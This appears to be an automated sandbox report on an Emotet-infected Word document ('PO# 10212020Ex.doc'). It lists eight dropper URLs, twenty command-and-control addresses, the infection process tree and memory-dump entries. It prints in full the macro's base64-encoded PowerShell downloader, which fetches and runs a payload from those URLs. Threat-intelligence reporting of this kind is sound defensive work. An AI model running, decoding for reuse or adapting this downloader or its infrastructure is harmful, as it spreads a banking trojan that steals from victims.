Overview

overview

10

Static

static

8

PO# 10212020Ex.doc

windows7_x64

10

PO# 10212020Ex.doc

windows10_x64

10

Analysis

  • max time kernel
    109s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    21/10/2020, 09:51

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    PO# 10212020Ex.doc
  • Size 189KB
  • Sample201021-csvffleava
  • SHA256 e88388bec3164944678627db062b753e76b6f7f710a9fabc43dfe69e7df2f366
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://www.hoianemeraldresort.com/sys-cache/Z/
  • exe.dropper

    http://citycommonsparking.com/patc-transmission/Kya/
  • exe.dropper

    https://karimele.com/wp-admin/MfCsI8/
  • exe.dropper

    http://techmenia.com/cgi-bin/Ayx3/
  • exe.dropper

    http://lula.vm-host.net/wp-content/plugins/o714-badx-66007/l8in/
  • exe.dropper

    http://susconiq.net/susconiq.net/JFXG/
  • exe.dropper

    https://www.hitstationery.com/wp-admin/X6zsDW/
  • exe.dropper

    https://htequinetherapy.co.uk/test/H0QITEX/

Extracted

Family

  • emotet

Botnet

  • Epoch2

C2

  • 75.188.96.231:80

  • 72.10.36.104:8080

  • 167.114.153.111:8080

  • 72.249.144.95:8080

  • 80.241.255.202:8080

  • 71.72.196.159:80

  • 164.160.45.41:8080

  • 203.153.216.189:7080

  • 185.94.252.104:443

  • 142.112.10.95:20

  • 61.19.246.238:443

  • 220.245.198.194:80

  • 37.139.21.175:8080

  • 108.46.29.236:80

  • 209.54.13.14:80

  • 87.106.136.232:8080

  • 87.106.139.101:8080

  • 176.111.60.55:8080

  • 130.0.132.242:80

  • 94.200.114.161:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\PO# 10212020Ex.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1460
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD UwBFAHQALQBWAGEAcgBJAGEAYgBMAEUAIAAgACgAIgBVAFIAIgArACIAagBXACIAKQAgACgAIABbAFQAeQBQAEUAXQAoACIAewA1AH0AewAyAH0AewAwAH0AewAzAH0AewA2AH0AewAxAH0AewA0AH0AIgAtAEYAJwBPACcALAAnAG8AJwAsACcAbQAuAEkAJwAsACcALgBkACcALAAnAFIAWQAnACwAJwBTAFkAcwB0AEUAJwAsACcAaQBSAGUAYwB0ACcAKQApACAAIAA7ACAAIAAkADAAVQAxADYAIAAgAD0AWwBUAHkAcABlAF0AKAAiAHsANQB9AHsAMgB9AHsAMwB9AHsANAB9AHsAMQB9AHsAMAB9ACIAIAAtAEYAIAAnAG4AYQBHAEUAcgAnACwAJwBNAGEAJwAsACcAdABFAG0ALgBuAGUAJwAsACcAVAAuAFMAZQByAFYASQBjAGUAcABPAGkAJwAsACcATgB0ACcALAAnAFMAeQBzACcAKQAgACAAOwAgACAAJABWAG4AaABfAGIAeABvAD0AKAAnAFkAcQAnACsAKAAnAHkAMAAnACsAJwA3AGsAMwAnACkAKQA7ACQAUABjAHoAYQA2AGMAeQA9ACQAQgBlAHYAMgA5ADgANwAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQAgACsAIAAyADAAIAArACAAMQAwACAAKwAgADEAMAApACAAKwAgACQATQBkAGUAcQA5AGoAYgA7ACQARwB3AGcAcgA2AHoAYwA9ACgAKAAnAFEAbgB3AHoAJwArACcAbgAnACkAKwAnADgAOAAnACkAOwAgACgARwBFAHQALQB2AGEAUgBJAEEAQgBsAEUAIAAoACIAVQByACIAKwAiAEoAdwAiACkAIAAgACkALgB2AGEATAB1AEUAOgA6ACIAYwBgAFIAZQBgAEEAVABFAGAAZABpAFIARQBDAFQAbwBSAHkAIgAoACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAIAArACAAKAAoACcAegAnACsAKAAnAEcAJwArACcANABVAGEAJwArACcAeQB1AGUAJwApACsAKAAnAGIANwB6ACcAKwAnAEcAJwApACsAKAAnADQAQQAnACsAJwBhACcAKQArACgAJwA3AGUAJwArACcAeQAnACkAKwAnAGYAJwArACgAJwA0AHoARwAnACsAJwA0ACcAKQApAC4AIgByAEUAUABgAEwAYQBgAGMAZQAiACgAKABbAGMAaABBAHIAXQAxADIAMgArAFsAYwBoAEEAcgBdADcAMQArAFsAYwBoAEEAcgBdADUAMgApACwAJwBcACcAKQApACkAOwAkAEcAawBjAHUAdQBiAGYAPQAoACcATQAnACsAJwAxAHMAJwArACgAJwA5AHQAOQAnACsAJwBvACcAKQApADsAIAAgACQAMAB1ADEANgA6ADoAIgBTAEUAYwB1AFIASQBgAFQAWQBQAFIAYABvAHQAbwBjAGAAbwBMACIAIAA9ACAAKAAoACcAVAAnACsAJwBsAHMAJwApACsAJwAxADIAJwApADsAJABLAGgAegBqAGQAbAAyAD0AKAAoACcAQQBwAGUAdgAnACsAJwBrACcAKQArACcAZwAnACsAJwBmACcAKQA7ACQATgBtADYAZgByADQAbgAgAD0AIAAoACcARgBuACcAKwAoACcAaAAnACsAJwB4AGgAcwAnACkAKwAnADgAaAAnACkAOwAkAEcAMABmAGcAZQB5AHoAPQAoACcAWQAnACsAKAAnAGwAJwArACcAZgBpAHgAeQAnACkAKwAnADAAJwApADsAJABSAHQAZgA5AHYAeQBsAD0AKAAnAFkAMgAnACsAKAAnAGYAJwArACcAMQAyACcAKQArACcAcwA4ACcAKQA7ACQAUgAxAGkAbwAyAHcAcQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBHACcAKwAoACcAaAB3ACcAKwAnAFUAYQAnACkAKwAnAHkAJwArACcAdQBlACcAKwAnAGIAJwArACcANwBHACcAKwAoACcAaAB3AEEAJwArACcAYQA3ACcAKwAnAGUAeQBmACcAKwAnADQAJwApACsAKAAnAEcAJwArACcAaAB3ACcAKQApAC4AIgByAGUAYABQAGAAbABhAEMARQAiACgAKAAnAEcAaAAnACsAJwB3ACcAKQAsACcAXAAnACkAKQArACQATgBtADYAZgByADQAbgArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAE0ANAA3AG0AdwBoADgAPQAoACcATAB3ACcAKwAoACcAbgAnACsAJwA3AF8AbQB1ACcAKQApADsAJABJAGwAdwB1ADYAOAB0AD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAagAnACsAJwBlAGMAdAAnACkAIABuAEUAVAAuAFcAZQBiAGMATABJAEUATgB0ADsAJABSAGsAbgAxAG0ANwA0AD0AKAAoACcAaAB0AHQAcAA6ACcAKwAnAC8AJwArACcALwB3ACcAKwAnAHcAdwAuACcAKwAnAGgAJwArACcAbwBpAGEAbgBlAG0AZQByAGEAJwApACsAKAAnAGwAZAAnACsAJwByAGUAcwBvAHIAJwApACsAJwB0AC4AJwArACgAJwBjAG8AbQAvAHMAeQAnACsAJwBzACcAKQArACgAJwAtAGMAJwArACcAYQBjACcAKQArACcAaABlACcAKwAoACcALwAnACsAJwBaAC8AKgBoACcAKQArACcAdAAnACsAKAAnAHQAcAA6AC8ALwAnACsAJwBjAGkAJwApACsAKAAnAHQAeQBjAG8AbQAnACsAJwBtACcAKQArACgAJwBvAG4AcwAnACsAJwBwACcAKQArACgAJwBhAHIAJwArACcAawAnACkAKwAoACcAaQBuACcAKwAnAGcAJwApACsAKAAnAC4AJwArACcAYwBvACcAKQArACcAbQAnACsAKAAnAC8AcAAnACsAJwBhACcAKQArACcAdAAnACsAKAAnAGMAJwArACcALQB0AHIAYQBuACcAKQArACgAJwBzAG0AJwArACcAaQAnACsAJwBzAHMAaQBvACcAKQArACgAJwBuAC8ASwB5ACcAKwAnAGEAJwArACcALwAnACkAKwAoACcAKgBoAHQAdABwACcAKwAnAHMAJwArACcAOgAnACkAKwAoACcALwAvAGsAJwArACcAYQByACcAKQArACgAJwBpAG0AZQAnACsAJwBsAGUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AYQBkAG0AJwApACsAKAAnAGkAJwArACcAbgAvAE0AJwArACcAZgBDAHMASQA4ACcAKwAnAC8AKgBoAHQAdABwADoALwAvACcAKwAnAHQAZQBjAGgAbQBlAG4AJwApACsAJwBpACcAKwAnAGEAJwArACgAJwAuAGMAbwAnACsAJwBtACcAKwAnAC8AYwBnAGkALQAnACkAKwAnAGIAaQAnACsAKAAnAG4ALwAnACsAJwBBAHkAeAAnACkAKwAoACcAMwAvACcAKwAnACoAJwApACsAKAAnAGgAJwArACcAdAB0ACcAKQArACcAcAAnACsAKAAnADoAJwArACcALwAvAGwAdQAnACkAKwAoACcAbABhACcAKwAnAC4AdgAnACkAKwAoACcAbQAtACcAKwAnAGgAJwApACsAJwBvACcAKwAoACcAcwB0AC4AJwArACcAbgBlAHQAJwArACcALwB3AHAAJwApACsAKAAnAC0AYwAnACsAJwBvAG4AdABlAG4AJwApACsAKAAnAHQAJwArACcALwAnACsAJwBwAGwAdQBnAGkAbgBzACcAKQArACcALwAnACsAKAAnAG8ANwAnACsAJwAxADQALQAnACsAJwBiACcAKQArACgAJwBhAGQAeAAnACsAJwAtADYANgAnACkAKwAoACcAMAAwACcAKwAnADcALwAnACkAKwAoACcAbAAnACsAJwA4AGkAbgAvACcAKQArACgAJwAqAGgAdAB0AHAAOgAnACsAJwAvAC8AcwB1ACcAKwAnAHMAJwArACcAYwAnACkAKwAnAG8AbgAnACsAJwBpAHEAJwArACgAJwAuAG4AZQB0ACcAKwAnAC8AJwArACcAcwB1AHMAYwBvACcAKQArACgAJwBuACcAKwAnAGkAcQAnACkAKwAoACcALgAnACsAJwBuAGUAdAAvAEoAJwApACsAJwBGACcAKwAoACcAWAAnACsAJwBHAC8AKgBoAHQAdAAnACkAKwAoACcAcAAnACsAJwBzADoALwAvACcAKwAnAHcAdwB3AC4AaABpACcAKwAnAHQAcwB0AGEAdAAnACsAJwBpACcAKQArACcAbwAnACsAJwBuAGUAJwArACgAJwByACcAKwAnAHkALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwB3AHAALQBhACcAKQArACgAJwBkAG0AJwArACcAaQAnACkAKwAnAG4ALwAnACsAKAAnAFgANgB6ACcAKwAnAHMAJwArACcARABXACcAKQArACcALwAqACcAKwAnAGgAJwArACgAJwB0AHQAcABzACcAKwAnADoAJwArACcALwAnACkAKwAoACcALwBoAHQAJwArACcAZQAnACkAKwAnAHEAJwArACcAdQBpACcAKwAnAG4AJwArACgAJwBlAHQAaAAnACsAJwBlACcAKQArACgAJwByACcAKwAnAGEAcAAnACkAKwAoACcAeQAnACsAJwAuACcAKwAnAGMAbwAnACsAJwAuAHUAawAvAHQAZQBzAHQALwBIADAAUQBJACcAKQArACgAJwBUAEUAJwArACcAWAAnACkAKwAnAC8AJwApAC4AIgBzAHAATABgAGkAVAAiACgAJABHAGUAdAAwADIAawA3ACAAKwAgACQAUABjAHoAYQA2AGMAeQAgACsAIAAkAFEAdgBoAG8AcwAwAGgAKQA7ACQASwA1ADMANQA0AHcAOAA9ACgAJwBRACcAKwAoACcAbwBzADAAawAnACsAJwBwACcAKQArACcAdgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEQAbABnAGoAYQB2AGsAIABpAG4AIAAkAFIAawBuADEAbQA3ADQAKQB7AHQAcgB5AHsAJABJAGwAdwB1ADYAOAB0AC4AIgBkAG8AYAB3AE4AYABMAE8AYABBAGQARgBpAEwARQAiACgAJABEAGwAZwBqAGEAdgBrACwAIAAkAFIAMQBpAG8AMgB3AHEAKQA7ACQARQBxAHIAeABfADkAdQA9ACgAKAAnAFgAJwArACcAawB6AGIAXwAnACkAKwAnAHQAJwArACcAagAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAUgAxAGkAbwAyAHcAcQApAC4AIgBsAGUATgBnAGAAVABoACIAIAAtAGcAZQAgADMAOQA1ADkAMgApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAoACcAdwBpAG4AMwAyAF8AJwArACcAUAAnACsAJwByACcAKQArACgAJwBvAGMAJwArACcAZQAnACkAKwAnAHMAJwArACcAcwAnACkAKQAuACIAYwByAGUAYABBAHQARQAiACgAJABSADEAaQBvADIAdwBxACkAOwAkAFkAcwBmAHUAMQA4AHgAPQAoACgAJwBCACcAKwAnAG4AbgAnACkAKwAnADQAOQAnACsAJwBrAGkAJwApADsAYgByAGUAYQBrADsAJABQAGgAYgByAHYAcQByAD0AKAAoACcAUAAnACsAJwA4AHMAJwApACsAJwA5ADcAJwArACcAcgBkACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQB1AG4AOQBwAGMAcgA9ACgAJwBWACcAKwAnAHAAOQAnACsAKAAnAHYAaAAnACsAJwBvAF8AJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1984
  • C:\Users\Admin\Uayueb7\Aa7eyf4\Fnhxhs8h.exe
    C:\Users\Admin\Uayueb7\Aa7eyf4\Fnhxhs8h.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1388
    • C:\Windows\SysWOW64\wscproxystub\cryptsp.exe
      "C:\Windows\SysWOW64\wscproxystub\cryptsp.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1272

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1028-23-0x000007FEF4890000-0x000007FEF4B0A000-memory.dmp
        Download

        memory/1272-22-0x00000000003A0000-0x00000000003B8000-memory.dmp
        Download

        memory/1272-21-0x0000000000380000-0x0000000000399000-memory.dmp
        Download

        memory/1388-17-0x00000000003E0000-0x00000000003F9000-memory.dmp
        Download

        memory/1388-18-0x0000000000530000-0x0000000000548000-memory.dmp
        Download

        memory/1460-6-0x0000000006CB0000-0x0000000006EB0000-memory.dmp
        Download

        memory/1460-7-0x0000000006CB0000-0x0000000006EB0000-memory.dmp
        Download

        memory/1460-2-0x0000000008910000-0x0000000008914000-memory.dmp
        Download

        memory/1984-9-0x0000000002300000-0x0000000002301000-memory.dmp
        Download

        memory/1984-14-0x000000001C740000-0x000000001C741000-memory.dmp
        Download

        memory/1984-13-0x000000001B8F0000-0x000000001B8F1000-memory.dmp
        Download

        memory/1984-12-0x0000000002340000-0x0000000002341000-memory.dmp
        Download

        memory/1984-11-0x00000000023E0000-0x00000000023E1000-memory.dmp
        Download

        memory/1984-10-0x000000001AB60000-0x000000001AB61000-memory.dmp
        Download

        memory/1984-8-0x000007FEF1440000-0x000007FEF1E2C000-memory.dmp
        Download